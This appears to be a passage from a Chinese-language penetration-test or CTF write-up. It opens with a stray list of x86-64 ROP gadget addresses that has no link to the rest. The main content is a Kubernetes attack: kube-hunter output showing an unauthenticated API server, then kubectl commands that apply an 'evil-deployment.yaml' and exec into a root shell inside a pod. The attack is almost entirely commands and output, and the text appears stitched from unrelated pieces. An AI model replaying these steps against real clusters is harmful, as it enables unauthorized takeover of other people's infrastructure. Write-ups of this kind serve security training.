rdi=0x0000000000405e7c# pop rdi ; ret rsi=0x000000000040974f# pop rsi ; ret rdx=0x000000000053514b# pop rdx ; pop rbx ; ret rax=0x00000000004206ba# pop rax ; ret syscall=0x00000000004560c6# syscall
❯ kube-hunter --remote 172.22.14.37 2025-05-03 01:56:11,112 INFO kube_hunter.modules.report.collector Started hunting 2025-05-03 01:56:11,112 INFO kube_hunter.modules.report.collector Discovering Open Kubernetes Services 2025-05-03 01:56:12,902 INFO kube_hunter.modules.report.collector Found open service "Kubelet API" at 172.22.14.37:10250 2025-05-03 01:56:15,266 INFO kube_hunter.modules.report.collector Found open service "Etcd" at 172.22.14.37:2379 2025-05-03 01:56:15,819 INFO kube_hunter.modules.report.collector Found open service "API Server" at 172.22.14.37:6443 2025-05-03 01:56:16,050 INFO kube_hunter.modules.report.collector Found vulnerability "K8s Version Disclosure" in 172.22.14.37:6443 2025-05-03 01:56:16,056 INFO kube_hunter.modules.report.collector Found vulnerability "Unauthenticated access to API" in 172.22.14.37:6443 2025-05-03 01:56:16,317 INFO kube_hunter.modules.report.collector Found vulnerability "Listing namespaces as anonymous user" in 172.22.14.37:6443 2025-05-03 01:56:16,573 INFO kube_hunter.modules.report.collector Found vulnerability "Listing roles as anonymous user" in 172.22.14.37:6443 2025-05-03 01:56:16,881 INFO kube_hunter.modules.report.collector Found vulnerability "Listing cluster roles as anonymous user" in 172.22.14.37:6443 2025-05-03 01:56:17,147 INFO kube_hunter.modules.report.collector Found vulnerability "Listing pods as anonymous user" in 172.22.14.37:6443
Detected Services +-------------+--------------------+----------------------+ | SERVICE | LOCATION | DESCRIPTION | +-------------+--------------------+----------------------+ | Kubelet API | 172.22.14.37:10250 | The Kubelet is the | | | | main component in | | | | every Node, all pod | | | | operations goes | | | | through the kubelet | +-------------+--------------------+----------------------+ | Etcd | 172.22.14.37:2379 | Etcd is a DB that | | | | stores cluster's | | | | data, it contains | | | | configuration and | | | | current | | | | state information, | | | | and might contain | | | | secrets | +-------------+--------------------+----------------------+ | API Server | 172.22.14.37:6443 | The API server is in | | | | charge of all | | | | operations on the | | | | cluster. | +-------------+--------------------+----------------------+
Vulnerabilities For further information about a vulnerability, search its ID in: https://avd.aquasec.com/ +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | ID | LOCATION | MITRE CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV005 | 172.22.14.37:6443 | Initial Access // | Unauthenticated | The API Server port | b'{"kind":"APIVersio | | | | Exposed sensitive | access to API | is accessible. | ns","versions":["v1" | | | | interfaces | | Depending on your | ],"serverAddressByCl | | | | | | RBAC settings this | ientCIDRs":[{"client | | | | | | could expose access | CIDR":"0.0.0.0/0","s | | | | | | to or control of | ... | | | | | | your cluster. | | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV002 | 172.22.14.37:6443 | Initial Access // | K8s Version | The kubernetes | v1.16.6-beta.0 | | | | Exposed sensitive | Disclosure | version could be | | | | | interfaces | | obtained from the | | | | | | | /version endpoint | | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing roles as | Accessing roles | ['kubeadm:bootstrap- | | | | the K8S API Server | anonymous user | might give an | signer-clusterinfo', | | | | | | attacker valuable | 'system:controller:b | | | | | | information | ootstrap-signer', | | | | | | | 'extension- | | | | | | | apiserver-... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing pods as | Accessing pods might | [{'name': b'nginx-de | | | | the K8S API Server | anonymous user | give an attacker | ployment-58d48b746d- | | | | | | valuable information | q4zh7', 'namespace': | | | | | | | b'default'}, | | | | | | | {'name': | | | | | | | b'coredns-5644d7b... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing namespaces | Accessing namespaces | ['default', 'kube- | | | | the K8S API Server | as anonymous user | might give an | node-lease', 'kube- | | | | | | attacker valuable | public', 'kube- | | | | | | information | system'] | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+ | KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing cluster | Accessing cluster | ['admin', 'cluster- | | | | the K8S API Server | roles as anonymous | roles might give an | admin', 'edit', | | | | | user | attacker valuable | 'flannel', | | | | | | information | 'system:aggregate- | | | | | | | to-admin', | | | | | | | 'system:aggregate- | | | | | | | to-edit... | +--------+-------------------+----------------------+----------------------+----------------------+----------------------+
❯ kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil-deployment.yaml Please enter Username: 1 Please enter Password: deployment.apps/nginx-deployment configured
列出当前所有pod
1 2 3 4
❯ kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods Please enter Username: 1 Please enter Password: NAME READY STATUS RESTARTS AGE nginx-deployment-864f8bfd6f-bgdhg 1/1 Running 0 34s
执行命令进入bash
1 2 3
❯ kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-bgdhg -- /bin/bash Please enter Username: 1 Please enter Password: root@nginx-deployment-864f8bfd6f-bgdhg:/# ls